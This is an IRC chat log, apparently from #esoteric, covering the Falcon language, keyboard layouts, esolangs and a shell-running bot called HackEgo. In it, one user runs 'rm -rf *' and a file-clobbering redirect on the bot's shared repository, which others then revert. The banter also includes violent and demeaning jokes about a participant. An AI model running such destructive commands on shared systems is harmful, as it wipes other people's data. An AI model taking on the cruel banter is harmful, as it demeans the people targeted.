03:44:27 <oerjan> elliott: but then horrible things could happen whenever you made a spelling error, like that q
03:44:32 <elliott> oerjan: wut
03:44:44 <zzo38> elliott: I don't think so! At least, it is not a good reason for *me* to sue Sgeo.
03:44:51 <elliott> Sgeo_ Falcon does monads by having an extra bit associated with every single value.
03:44:54 <elliott> Called the "out of bound" value.
03:44:58 <elliott> "monads"
03:45:02 <elliott> I don't even know what they are, but they call them monads.
03:45:14 <oerjan> elliott: i mean what if you wanted to say "kiss everyone" and accidentally wrote "kill everyone" instead?
03:45:14 <elliott> how... can you even like it
03:45:16 <elliott> jesus christ
03:45:24 <elliott> oerjan: what was that q though
03:45:26 <Sgeo_> I like the out-of-bound value stuff.
03:45:27 <elliott> also, killing everyone sounds good
03:45:32 <oerjan> (ok so the opposite currently seems more likely)
03:45:35 <oerjan> elliott: qithout
03:45:38 <Sgeo_> I don't... know if I want to know what you mean by them calling them monads
03:45:45 <elliott> Sgeo_: ok so you're obviously just trolling
03:46:06 <Sgeo_> ..no?
03:46:10 <elliott> Sgeo_: that's what THEY call it
03:46:29 <Sgeo_> Maybe they can implement monads by using the oob stuff, but...
03:46:55 <elliott> ok it's no longer just a random hypothesis, Sgeo_ has been getting steadily more stupid over the period of months
03:47:06 <Sgeo_> I said maybe
03:47:10 <Sgeo_> I have a headache right now
03:47:11 <elliott> i don't think the condition can progress any further though, liking Falcon is pretty low
03:47:42 <oerjan> elliott: clearly he needs to take more C-vitamins
03:47:57 <Sgeo_> Falcon has something called "Message-Oriented Programming". Worshipping it at the level they do, and calling it that, is pretty silly, but I like it better than C#'s stuff
03:48:01 <elliott> maybe...maybe his father has been firing lasers at his brain
03:48:07 <elliott> to make sure he never grows the capacity to think for himself
03:48:12 <elliott> and is stuck in his tyrannical grasp of idiocy FOREVER
03:48:31 <Lymia> Let's try estrogen injections.
03:48:54 <oerjan> maybe his father is a mad scientist only keeping Sgeo_ around for spare parts. i recall that from narbonic.
03:48:56 <elliott> Lymia: i don't even want to know the thought process leading up to that
03:49:19 <Lymia> Complete silliness!
03:49:47 <oerjan> wasn't that what they tried on turing
03:49:53 <elliott> Sgeo_: go sleep until you have the ability to form coherent thoughts and lose the ability to form incoherent thoughts like liking falcon
03:50:07 <elliott> oerjan: "tried", it was quite successful apart from the part where he killed himself
03:50:37 <oerjan> THE PATIENT REFUSED TO COMPLETE THE TREATMENT
03:50:45 <oerjan> AND HAS NO ONE BUT HIMSELF TO BLAME
03:50:56 <elliott> :D
03:51:06 <Lymia> elliott, well.
03:51:13 <Lymia> A sterile Sgeo_ would be better for the world!
03:51:37 <elliott> Lymia: that's true, but a Sgeo_ with breasts is possibly the most fearful thing i can imagine.
03:51:51 <elliott> wait he'd never bother coming on IRC. hm.
03:52:09 <elliott> SO WHO'S GOING TO GET THE OESTROGEN
03:52:20 <Sgeo_> I'm about to take a Tylenol
03:53:18 <elliott> Sgeo_: IF YOU DON'T LIVE TO SEE ANOTHER DAY
03:53:20 <elliott> WE WILL
03:53:20 * Lymia castrates Sgeo_. With a knife.
03:53:21 <elliott> AVENGE
03:53:22 <elliott> YOUR NAME
03:53:26 <elliott> AGAINST THE EVIL
03:53:28 <elliott> DANGEROUS
03:53:31 <elliott> SATAN
03:53:32 <elliott> KNOWN AS
03:53:35 <elliott> "T Y L E N O L"
03:54:07 <elliott> hmm this is reminding me of that time Sgeo_ didn't want to try vanilla essence because it has a tiny amount of alcohol in it
03:54:26 <Lymia> How did you get from point A to point B?
03:54:42 <elliott> Lymia: wat
03:55:47 <Sgeo_> Other things about falcon I Like: forfirst/formiddle/forlast
03:56:05 <oerjan> a formiddable language
03:56:17 <elliott> oerjan: ok seriously
03:56:23 <elliott> you have to ban Sgeo_ before he goes completely insane
03:56:28 <Lymia> I mean.
03:56:38 <elliott> oerjan: consider that 90% of the things cpressey said in here were elaborate yarns about insane language features that turned out to be actual falcon features.
03:56:43 <Lymia> How did Sgeo's thought process get there!
03:56:44 <elliott> ok not really but the point is, that is something that could have happened.
03:56:51 <elliott> Lymia: from where to where
03:56:55 <elliott> oerjan: that is how bad Falcon is.
03:56:56 <elliott> it is just the worst.
03:56:57 <Lymia> Never mind~
03:57:01 <elliott> he is insane. he needs containment. which is banning.
03:57:06 <elliott> Lymia: YOUR SENTENCES MAKE NO SENSE
03:57:39 <Sgeo_> Lymia, I got to Tylenol by having a headache
03:57:39 <Lymia> ;-;
03:57:40 -!- azaq231 has joined.
03:59:52 <Lymia> Falcon looks like your standard maybe-overbloated language if you ask me-- based on the Wikipedia page that is.
04:00:35 <elliott> Lymia: It's INCREDIBLY overbloated.
04:00:43 <Lymia> Also.
04:00:48 <Lymia> Basic-style syntax is NO.
04:00:49 <elliott> Lymia: We have tried to troll their IRC channel by suggesting utterly ridiculous features that nobody would ever think are a good idea.
04:00:49 <Lymia> D=
04:00:55 <elliott> Not ONCE did they go "ha ha no maybe not".
04:00:58 <elliott> They were all "ooh INTERESTING".
04:01:07 <elliott> And seriously.
04:01:14 <elliott> Implementing monads by sticking an extra bit on to every value.
04:01:16 <elliott> What is even that.
04:01:24 -!- azaq23 has quit (Ping timeout: 240 seconds).
04:01:24 <Lymia> wat
04:01:32 <Sgeo_> elliott, that extra bit isn't really for monads, I think
04:01:38 <elliott> Nobody in the universe has figured out what that even means yet.
04:01:39 <elliott> Nobody.
04:02:00 <pikhq> Huh. The UK keyboard layout...
04:02:04 <pikhq> Looks painful.
04:02:09 <elliott> pikhq: What part of it exactly?
04:02:10 <Lymia> That being said.
04:02:10 <elliott> I use it :-P
04:02:18 <Lymia> The most obvious thing that hits me when I read that page is this: Falcon is designed for embedding[20] into and extending other systems with a linkable runtime library, libfalcon.
04:02:20 <elliott> # is a bit of a pain but I just swap £ with it because who talks about money
04:02:26 <Lymia> w. h. a. t.
04:02:27 <elliott> Lymia: yeah afaict that's bullshit
04:02:29 <zzo38> There are a few things I like in Falcon: continuations, coroutines, meta compilation, macros, synchronization. Probably the standard libraries is too many though, some could belong to separate libraries instead?
04:02:29 <elliott> nobody does that
04:02:32 <elliott> i don't even know why it's there
04:02:33 <elliott> who cares
04:02:36 <elliott> it's a stupid vanitypage
04:02:44 <elliott> it should be deleted because falcon is the worst
04:02:56 <pikhq> elliott: It's just got a lot of bizarro changes from the US one for no good reason that makes things harder to type.
04:03:03 <elliott> pikhq: I dislike the US layout
04:03:05 <Sgeo_> Falxon has macros?
04:03:08 <Sgeo_> Falcon
04:03:12 <pikhq> elliott: What about it?
04:03:16 <elliott> pikhq: It's just awkward to me.
04:03:19 <elliott> \ for instance.
04:03:20 <Lymia> zzo38, just go use Lisp.
04:03:40 <pikhq> elliott: Funny, that's something I dislike about the UK layout.
04:03:45 <pikhq> That's fucking Shift right there!
04:03:52 <elliott> pikhq: ...no, \ is above shift.
04:04:03 <zzo38> Lymia: Maybe Lisp works better, I have never used Falcon or Lisp, though.
04:04:07 <pikhq> elliott: Not on the UK layout.
04:04:07 <Sgeo_> I am upset over "Message-oriented" being a "paradigm"
04:04:15 <pikhq> http://upload.wikimedia.org/wikipedia/commons/d/da/KB_United_Kingdom.svg
04:04:25 <Sgeo_> And having nothing to do with OOP messaging
04:04:30 <pikhq> Teeny-tiny shift = WUT
04:04:43 <Sgeo_> NOTHING. It's an event system, basically
04:04:45 <elliott> oh well our left shift keys are small.
04:04:48 <elliott> but no that isn't the layout i have
04:04:52 <elliott> i guess the apple versions are different
04:05:02 <zzo38> Sgeo_: Yes Falcon does have macros. That is what I like about it, that it has macros. Too many programming language they didn't put macros.
04:05:35 * Sgeo_ sees the macro stuff in wiki
04:05:41 <Sgeo_> That's pretty... icky
04:06:09 <elliott> zzo38 and Sgeo_ -IN- #esoteric circus
04:06:40 <oerjan> well it's better than elliott and Vorpal.
04:07:07 <pikhq> elliott: What's *really* annoying is US International, though.
04:07:14 <pikhq> Fucking dead keys!'
04:07:28 <elliott> oerjan: *and Vorpal-in-crazy-mode
04:07:38 <Lymia> elliott, are they related?
04:07:54 <elliott> I get along with him fine nowadays until he goes into WHOOPS LET'S LATCH ON TO ANYTHING I CAN USE TO MAKE A POINT ABOUT HOW TERRIBLE ELLIOTT IS mode.
04:07:57 <pikhq> `, ~, ^, ', and " become dead keys.
04:07:58 <elliott> Lymia: Hm?
04:08:02 <elliott> pikhq: yeah that's just bullshit.
04:08:05 <pikhq> Do you have any *idea* how annoying that is to program with?
04:08:06 <oerjan> damn now elliott went into crazy mode
04:08:12 <elliott> oerjan: I did? :P
04:08:21 <Lymia> Everybody's insane to somebody!
04:08:23 <oerjan> yes
04:08:29 <elliott> oerjan: howso
04:08:54 <HackEgo> No output.
04:08:58 <pikhq> So much better to just have a compose key.
04:09:03 -!- augur has joined.
04:09:13 <oerjan> elliott: you started blathering about Vorpal
04:09:26 <oerjan> yes it was my fault to remind you
04:09:35 <elliott> oerjan: it was two lines... hardly blathering
04:09:38 <elliott> i dunno what you're going on about
04:09:57 <elliott> i'm not the only one to notice that he goes on tirades like that on a semi-regular basis, anyway
04:10:27 <oerjan> elliott: no, but only you respond to it like a chain reaction
04:10:27 <pikhq> Okay, actually, *this* just pains me: http://en.wikipedia.org/wiki/File:KB_Japanese.svg
04:10:42 <pikhq> And keep in mind that that keyboard is usually used as an ordinary QWERTY board.
04:10:43 <elliott> oerjan: he only does it to me, so that's hardly surprising
04:11:37 <pikhq> LOOK AT THE SPACE BAR. IT IS TINY. SO TINY.
04:12:19 <zzo38> Yes it is small because they add so many keys
04:12:34 <oerjan> there was no space for it
04:12:50 <pikhq> AND IT DOES THE SAME THING AS THE 変換 KEY RIGHT NEXT TO IT.
04:12:52 <pikhq> REALLY.
04:13:02 <pikhq> Erm, well.
04:13:12 <pikhq> It does both 変換 and space, depending on input mode.
04:14:21 <Lymia> So.
04:14:32 <pikhq> And I'm not really sure why they felt that they needed a key for turning on half-width kana.
04:14:48 <Lymia> Why did they create that, instead of just using a phonetic->text system?
04:15:26 <pikhq> Lymia: The worst part is, *most people in Japan type using a phonetic->text system*.
04:15:33 <pikhq> Lymia: Like, 90% of people.
04:15:37 <Lymia> Heh.
04:15:49 <Lymia> Wouldn't you need to use something like that to type kanji anyways?
04:15:50 <pikhq> All the kana keys on there aren't used by most people.
04:15:50 <Lymia> >.>
04:15:54 <pikhq> Yes, you do.
04:16:04 <zzo38> Just one extra key should do instead of that many, and then have it pushed combination with the other key for other function, such as switch kana/ASCII mode, and also the switched whether space bar is kanji or not (and if you use other kanji mode).
04:16:11 <pikhq> It just goes from kana->kanji instead of romaji->kana&kanji.
04:16:43 <pikhq> zzo38: Don't even need that many.
04:16:53 <pikhq> Japanese input works *perfectly* on a US QWERTY keyboard.
04:17:22 <elliott> serves them right for speaking moonspeak
04:17:30 <elliott> THEY GET KEYBOARDIAL PAIN
04:17:32 <pikhq> Not even a compromise. Most of the keys added for controlling the IME are controlling little-used functions.
04:19:23 <pikhq> The 変換 key is entirely replaced by the space bar, 無変換 can be done by *just not pressing space*, I don't even think there is even a legitimate use for the 半角/全角 key, and カタカナ/ひらがな can be done by just selecting the katakana option in the IME menu.
04:19:32 -!- copumpkin has joined.
04:19:58 <pikhq> Oh, yeah, and the 英数 function on caps lock is just to make it less of a pain to do numeral entry in kana mode.
04:20:26 <elliott> IME sounds like a huge pain in the arse
04:20:28 <pikhq> In short, the Japanese keyboard layout has no reason to exist.
04:20:37 <pikhq> elliott: Eh, not really.
04:21:02 <Lymia> pikhq, dosn't Japanese input mode have a Fsomething button to go hiragana->katakana anyways?
04:21:09 <pikhq> Lymia: Probably.
04:21:16 <zzo38> I invented a bit different system. Function keys are to the left. ALT keys are now like ALTGR (but still labeled ALT). When SCROLL LOCK (now labeled KANA LOCK) is pushed, it enters kana mode, and CAPS LOCK (now labeled CASE LOCK) in kana mode switches hiragana/katakana. There is no half-pitch/full-pitch.
04:21:24 <elliott> oh goody, zzo38 redesigns computers part 3984598
04:21:25 <pikhq> It doesn't even come up all *that* often, anyways.
04:22:16 <zzo38> In ASCII mode, the ALT keys are used to select accented letters, suits, arrow symbols, and a few mathematical symbols. In kana mode, ALT is used for voice mark and SHIFT for semivoice.
04:22:23 <ais523> there's an old and probably incorrect saying about the wise man adapting to the world, and the fool adapting the world to himself
04:22:27 <ais523> I don't think it takes zzo38 into account at all
04:22:28 <zzo38> SHIFT is also used in kana mode for small letters.
04:22:37 <elliott> ais523: there's a slightly less old saying
04:22:39 <Sgeo_> Falcon's out-of-band does remind me a bit of Either...
04:22:51 <elliott> ais523: "The reasonable man adapts himself to the world; the unreasonable man persists in trying to adapt the world to himself. Therefore all progress depends on the unreasonable man."
04:22:54 <elliott> and the zzo38 version
04:22:55 <elliott> `quote reasonable
04:23:13 <pikhq> Oh, yeah, and Korean keyboards use much the same layout. Even though there's hardly even a need for an IME.
04:23:14 <zzo38> There is also conversion tables for converting between ASCII, CP437, Commodore 64, and some other systems, with its internal code.
04:23:17 <elliott> ais523: eh:
04:23:18 <elliott> ais523: <zzo38> Some people are reasonable, some people who are not reasonable insist on changing things so therefore progress depends on not reasonablepeple
04:23:20 <ais523> zzo38 just invents an entire world that's consistent and internally makes sense, but nobody else has any idea about
04:23:20 <HackEgo> 160) <zzo38> Some people are reasonable, some people who are not reasonable insist on changing things so therefore progress depends on not reasonablepeple
04:23:24 <elliott> there we go
04:23:38 <pikhq> Really, just a need to switch between hangul and QWERTY.
04:23:41 <Lymia> `run rm -rf zzo38
04:23:43 <HackEgo> No output.
04:23:53 <ais523> Lymia: I don't think zzo38 is a directory
04:24:00 <Lymia> Best to be sure.
04:24:01 <elliott> -rf can remove files too
04:24:09 <ais523> indeed, although the -r is redundant there
04:24:20 <ais523> also, I'm one of those people who tries to avoid using -f as a rm parameter ever
04:24:28 <ais523> although occasionally it's needed
04:24:49 <ais523> tcsh annoys me with its incessant prompting, although even then I pipe yes into rm rather than having to settle for -f
04:24:53 <zzo38> Also, the ENTER key is now labeled "ENTER/NEW LINE".
04:25:03 <zzo38> And the space bar is labeled SPACE
04:25:05 <elliott> ais523: tcsh automatically aliases rm? i doubt it
04:25:08 <elliott> shells don't handle coreutils
04:25:22 <ais523> elliott: it does something to rm, I'm not sure if it's aliasing it or using a builtin that prompts a lot
04:25:28 <elliott> ais523: probably centos configuration
04:25:32 <ais523> perhaps
04:25:39 <ais523> although bash doesn't do that in centos
04:25:46 <elliott> ais523: because configuration files are per-shell
04:25:49 <elliott> and tcsh is what comes by default
04:25:51 <elliott> so...
04:25:55 <elliott> i seem to have no csh installed here; that's reassuring
04:25:59 <ais523> hmm, isn't there a non-per-shell one?
04:26:06 <elliott> ais523: well, not one that both csh and bash could read :)
04:26:08 <Lymia> `ls
04:26:10 <HackEgo> babies \ bin \ bluhbluh \ env \ foo \ paste \ ps \ quine \ quotes \ test \ test.c \ tmpdir.19433
04:26:26 <elliott> ais523: btw, you ARE still in England right? just that your sleep schedule is even more insane than usual
04:26:30 <ais523> I'm pretty sure csh/bash polyglots are possible
04:26:32 <Lymia> `run rm -rf *
04:26:34 <HackEgo> No output.
04:26:34 <ais523> and indeed
04:26:36 <Lymia> `ls
04:26:37 <HackEgo> babies \ bin \ paste \ tmpdir.19519
04:26:39 <Lymia> :<
04:26:42 <elliott> argh
04:26:43 <elliott> Lymia
04:26:45 <elliott> `hlep
04:26:46 <HackEgo> No output.
04:26:46 <elliott> `help
04:26:48 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
04:26:58 <ais523> Lymia: it's irritating having to revert everything when you do that
04:27:03 <Lymia> Sorry!
04:27:10 <elliott> `revert 90
04:27:11 <HackEgo> Done.
04:27:13 <elliott> `quote yorick
04:27:14 <HackEgo> 317) * yorick has quit (K-Lined)
04:27:21 <Lymia> `ls
04:27:22 <HackEgo> babies \ bin \ bluhbluh \ env \ foo \ paste \ ps \ quine \ quotes \ test \ test.c \ tmpdir.19734
04:27:23 <Lymia> =p
04:27:26 <elliott> Lymia: observe your damage: http://codu.org/projects/hackbot/fshg/index.cgi/rev/0f00c1d46b43
04:27:51 <Lymia> :(
04:27:53 * Lymia cries
04:28:08 <elliott> yes. you are bad.
04:28:15 <elliott> ais523: so, er, in the england you're in, it's 4:56 am, isn't it?
04:28:21 <zzo38> I think there is revert function, though?
04:28:34 <zzo38> In case you messed up too many things.
04:28:39 <elliott> zzo38: indeed, i reverted
04:28:41 <ais523> elliott: I think I'm in the same timezone as you
04:28:49 <elliott> ais523: I'M JUST CHECKING
04:28:50 <ais523> unless you fled to Canada
04:28:56 <elliott> wel lthere's an idea.
04:28:59 <elliott> *well there's
04:29:03 <ais523> I'm a little irritated at having to stay up all night, actually
04:29:13 <elliott> heh, why?
04:29:28 <ais523> err, personal matters, it wouldn't do to say it in a public channel
04:29:34 <elliott> oh, I just meant, why irritated
04:29:36 <elliott> but OK
04:29:45 <pikhq> Baaaah, privacy.
04:29:59 <elliott> ("it wouldn't do" set my internal IRC vocaliser to English aristocracy mode, though you should know)
04:30:13 <pikhq> elliott: *Damn* you stay up late.
04:30:19 <elliott> pikhq: >_>
04:30:25 <elliott> An all-nighter is seeming quite necessary at this point.
04:30:39 <elliott> I, er, have been failing to get any daylight into my waking periods.
04:30:39 <pikhq> elliott: It's not usually something I think about, but damn, you crazy.
04:30:45 <pikhq> oerjan too.
04:30:59 <elliott> yeah i dunno how ais523 is so chill about it, this is a pain :D
04:31:22 <pikhq> zzo38, you crazy too, but that has nothing to do with sleeping habits or lack thereof. :P
04:31:24 <ais523> elliott: I knew it would happen in advance and slept all day
04:31:40 <elliott> pikhq, you crazy. for saying "you crazy" WAY too much
04:31:45 <ais523> but it's annoying due to messing up my ability to actually do work
04:32:04 <ais523> not because of the time - I do lots of work at 4/5 am - but because I'm best at doing it while in bed
04:32:06 <pikhq> elliott: Sorry for slang permeating my brain and coming out on occasion.
04:32:12 <ais523> another advantage of a netbook...
04:32:35 <elliott> don't need a netbook for that
04:32:40 <elliott> i'm in bed right now with a 13" laptop
04:32:48 <elliott> ok so it is a bit light as these things go.
04:32:52 <ais523> oh, I've used larger ones before as well
04:33:14 <ais523> but it's nice to be able to put your netbook down on a single A4 sheet of cardboard when you don't want to hold it for a while
04:33:18 <Lymia> `run sed s/EgoBot/\[DATA EXPUNGED\]/g < quotes | paste
04:33:20 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.28318
04:33:21 <elliott> any larger wouldn't be very lap-friendly i think, this is quite nice, especially since it has a pretty high resolution for its size
04:33:45 <elliott> Lymia: sed fail
04:33:48 <elliott> you need some quoting
04:33:48 <ais523> elliott: does DNA Maze run windowed for you?
04:33:51 <Lymia> :(
04:33:54 <elliott> ais523: err, yes, why?
04:33:58 <Lymia> `run sed "s/EgoBot/\[DATA EXPUNGED\]/g" < quotes | paste
04:33:58 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.14572
04:33:59 <ais523> ah, just wondering
04:34:01 <elliott> ais523: a rather big window, however
04:34:06 <elliott> ais523: does it not for you?
04:34:12 <ais523> the engine itself can only handle 1024 x 768
04:34:16 <ais523> my screen's only 768 pixels high
04:34:19 <elliott> ah
04:34:22 <elliott> so it automatically fullscreens?
04:34:24 <elliott> heh
04:34:31 <oerjan> `quote EgoBot
04:34:32 <HackEgo> 2) <Slereah> EgoBot just opened a chat session with me to say "bork bork bork" \ 295) <Vorpal> !bfjoust test (-)*10000 <EgoBot> Score for Vorpal_test: 12.9 <Vorpal> yay \ 296) <Vorpal> !bfjoust test (++-)*1000000 <Vorpal> probably will suck <EgoBot> Score for Vorpal_test: 30.4 <Vorpal> what \ 304) [on egojoust] <elliott>
04:34:35 <ais523> so it used to draw a window if the screen was at least 800 high, or force the screen res to 1024x768 otherwise
04:34:40 <elliott> ais523: well, my previous laptop was 1366x768 (again 13 inches) but this is 1440x900
04:34:40 <ais523> but that looks weird on a widescreen
04:34:43 <Lymia> `run sed "s/[^<]EgoBot/that idiot/g" < quotes | paste
04:34:46 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.1253
04:34:51 <elliott> which is much nicer than the previous
04:34:53 <elliott> although i still maximise my browser
04:35:06 <elliott> Lymia: that removes the relevant character
04:35:14 <Lymia> :(
04:35:16 <elliott> you really want a (?!) there but i doubt sed supports that
04:35:21 <ais523> I changed it last night to center 1024x768 in an otherwise blank screen, if your natural screen res was less than (or less than or equal to?) 800 high, but larger than 1024x768
04:35:23 <ais523> elliott: it doesn't
04:35:29 <Lymia> `run sed "s/\bEgoBot\b/that idiot/g" < quotes | paste
04:35:31 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.8889
04:35:35 <elliott> ais523: wow, development :-D
04:35:47 <ais523> also fixed the crash on left-click
04:35:53 <elliott> ais523: it isn't a crash
04:35:56 <elliott> it's just a screen-of-weirdness
04:35:58 <ais523> although the bar at the top of the screen that says the controls is still lying
04:36:01 <elliott> ais523: fixed the mouse behaviour in the menu yet? :P
04:36:11 <Lymia> `run sed "s/ EgoBot / that idiot /g" < quotes | paste
04:36:13 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.31546
04:36:14 <ais523> oh, I thought I just hadn't implemented that at all
04:36:21 <elliott> ais523: you did, it just works really badly
04:36:39 <ais523> well, in that case I probably didn't finish implementing it
04:36:39 <Lymia> `run sed "s/EgoBot/that idiot/g" < quotes > quotes
04:36:41 <HackEgo> No output.
04:36:41 <Lymia> :V
04:36:44 <elliott> `run perl -e 's/\b(.*)+?\b/rand > .7 ? "bork" : $1/e' <quotes | paste
04:36:48 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.14592
04:36:48 <Lymia> `quote that idiot
04:36:48 <ais523> what are the current semantics, and what would you suggest changing?
04:36:49 <HackEgo> No output.
04:36:49 <elliott> Lymia: firstly, that fails
04:36:53 <elliott> redirection doesn't work like that
04:36:54 <elliott> secondly
04:36:56 <elliott> STOP MAKING ME REVERT
04:36:59 <ais523> you can't redirect into and out of the same file
04:37:15 <elliott> ais523: semantics: you click somewhere in the menu, it focuses somewhere almost, but not entirely, not where you clicked
04:37:20 <elliott> desirable behaviour: it focuses what you click.
04:37:21 <elliott> `help
04:37:23 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
04:37:36 <elliott> `revert 92
04:37:38 <HackEgo> Done.
04:37:42 <ais523> elliott: ah, you click, and it gets the location of the click wrong and switches to an entirely different level?
04:37:46 <elliott> `revert 97
04:37:46 <Lymia> I'll stop messing with HackEgo!
04:37:47 <HackEgo> Done.
04:37:48 <elliott> ais523: yes
04:37:50 <elliott> `run perl -e 's/\b(.*)+?\b/rand > .7 ? "bork" : $1/e' <quotes | paste
04:37:55 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.18904
04:38:09 <elliott> oops
04:38:14 <elliott> `run perl -pe 's/\b(.*)+?\b/rand > .7 ? "bork" : $1/ge' <quotes | paste
04:38:30 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.5158
04:38:44 <elliott> i should sleep soon
04:38:46 <ais523> what's (.*)+? meant to mean?
04:38:58 <elliott> ais523: err, good question
04:39:04 <ais523> the +? seems entirely redundant there
04:39:05 <elliott> `run perl -pe 's/\b(.+?)\b/rand > .7 ? "bork" : $1/ge' <quotes | paste
04:39:19 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.2317
04:39:34 <elliott> beautiful
04:39:35 <elliott> just beautiful
04:39:46 <elliott> hmm, does [^\b] work in perl?
04:39:47 <elliott> I somehow doubt it
04:40:01 <elliott> `run perl -pe 's/\b([^\b]+)\b/rand > .9 ? "bork" : $1/ge' <quotes | paste
04:40:03 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.27700
04:40:15 <elliott> hmm, that is quite broken
04:40:15 <ais523> elliott: you mean \w, don't you?
04:40:22 <elliott> oh, is \w = [^\b]?
04:40:25 <ais523> \b is the boundary between \w and \W
04:40:33 <ais523> and thus zero-width
04:40:38 <elliott> is there a name for (\s|^|$)? :P
04:40:56 <elliott> `run perl -pe 's/\w+?/rand > .9 ? "bork" : $1/ge' <quotes | paste
04:40:56 <ais523> I don't think so
04:40:57 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.13472
04:41:02 <elliott> what the
04:41:04 <ais523> also, you want + not +? there
04:41:05 <elliott> `run perl -pe 's/\w+/rand > .9 ? "bork" : $1/ge' <quotes | paste
04:41:07 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.7053
04:41:15 <elliott> ais523: I dunno, http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.13472 is quite spectacular
04:41:19 <Lymia> elliott, now all you need to do is echo that back to quotes.
04:41:20 <Lymia> :V
04:41:29 <elliott> `run perl -pe 's/\w+/rand > .9 ? "bork" : $0/ge' <quotes | paste
04:41:31 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.19716
04:41:32 <elliott> `run perl -pe 's/\w+/rand > .9 ? "bork" : $&/ge' <quotes | paste
04:41:34 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.25593
04:41:52 <elliott> <oklopol> i can get an bork bork of bork bork, you bork quote bork on that.
04:42:00 <elliott> <oerjan> In an alternate universe, ehird has bork
04:42:14 <elliott> <mycroftiv> [...] sometimes i cant get out of bed becasue the geometry of the sheet tangle is too fascinating from a topological bork
04:42:19 <elliott> this is brilliant
04:42:26 <elliott> <GregorR-L> If I ever made a game where you jabbed bears ... <GregorR-L> I'bork call it jabbear.
04:42:27 <Lymia> elliott.
04:42:30 <Lymia> I dare you to write it back to quotes.
04:42:30 <elliott> I was hoping for "I'd call it bork."
04:42:38 <elliott> <oklopol> GregorR: are you talking about ehird's virginity or your soda bork?
04:42:41 <elliott> <bork> no bork <Deewiant> No?! <Deewiant> I've been living a lie <ehird> yep. <Deewiant> Excuse me while I jump out of the window ->
04:42:42 <elliott> OH GOD, NO BORK
04:42:51 <elliott> <apollo> Maternal instincts? <bork> Don't you just leave the bork in a box until it starts crying, and then shake it until it stops?
04:42:58 <elliott> <Warrigal> Porn. <Warrigal> bork, see?
04:43:04 <elliott> this is too amazing.
04:43:07 <elliott> possibly too amazing for the world.
04:43:25 <elliott> * oerjan swats FireFly since he's easier to hit -----### <FireFly> bork * FireFly bork
04:44:23 <elliott> <bork> I can do everything a Turing machine can bork, except love
04:44:29 <elliott> <dtsund> For those who don't know: INTERCAL is basically the I Wanna Be The bork of programming languages. Not useful for anything serious, but pretty bork when viewed from the outside.
04:44:38 <elliott> ais523: comment on INTERCAL's status as the I Wanna Be The bork of programming languages.
04:44:45 <elliott> also, how bork it is when viewed from the outside.
04:44:53 <elliott> <scarf> and an AMICED literal would presumably /bork/ info to the source <scarf> whatever info bork added, that's the value that the AMICED doesn'bork contain <scarf> it's all falling into place
04:44:53 <elliott> Well, that makes about as much sense as the original.
04:45:23 <ais523> AMICED actually makes more sense than some of the other things in TURKEY BOMB
04:45:46 <ais523> because the spec strongly implies that there's an inherent "list of everything that exists" that you can subtract things from
04:46:04 <ais523> negative bit sizes work better than fractional
04:46:32 <elliott> ais523: meh, it just subtracts fractional things from the list
04:46:35 <elliott> or rather adds i suppose
04:46:54 <ais523> well, there's a potentially infinite type you can take the complement of
04:46:58 <ais523> but I forget what it's called
04:47:03 <elliott> ais523: PUDDING?
04:47:08 <ais523> that could be it
04:47:48 <oerjan> ...turkey bomb is the programming language of triangle and robert? makes sense.
04:52:40 <oerjan> *chirp*
04:53:01 <zzo38> Yes I think it is PUDDING type. I think TURKEY BOMB is not implementable?
04:53:03 <ais523> I don't know what you're talking about
04:53:10 <ais523> zzo38: I tried to implement it, but gave up after a while
04:53:18 <ais523> I think there's at least one method of interpreting the spec such that it's TC, though
04:53:22 <ais523> although I'm not entirely sure
04:58:00 -!- elliott has quit (Read error: Connection reset by peer).
04:58:21 -!- elliott has joined.
04:59:29 <elliott> i am really going to bed
04:59:33 <elliott> in like 3 seconds
04:59:40 * Lymia puts spiders in elliott's bed
05:00:00 <oerjan> elliott: you need to work on your arithmetic
05:00:24 <elliott> oerjan: you need to work on NO BACKCHATTING
05:00:36 <oerjan> what's that
05:00:43 <elliott> EXACTLY
05:00:57 <oerjan> ok
05:01:35 <zzo38> Lymia: I put big spider in my bed already. So if you have no more left you do not have to worry about it anymore. You can just take a cold shower or hot acid or whatever you want to, instead.
05:01:51 <elliott> ...
05:01:52 <elliott> o k
05:01:55 * Lymia puts a landmine into zzo38's mattress
05:02:01 <elliott> `addquote <zzo38> Lymia: I put big spider in my bed already. So if you have no more left you do not have to worry about it anymore. You can just take a cold shower or hot acid or whatever you want to, instead.
05:02:02 <Lymia> Are you sure we arn't talking with a Markov bot?
05:02:02 <HackEgo> 318) <zzo38> Lymia: I put big spider in my bed already. So if you have no more left you do not have to worry about it anymore. You can just take a cold shower or hot acid or whatever you want to, instead.
05:02:07 <elliott> we need two quote files, "funny" and "despair"
05:02:09 <elliott> Lymia: already asked him that.
05:02:12 <elliott> he CLAIMS no
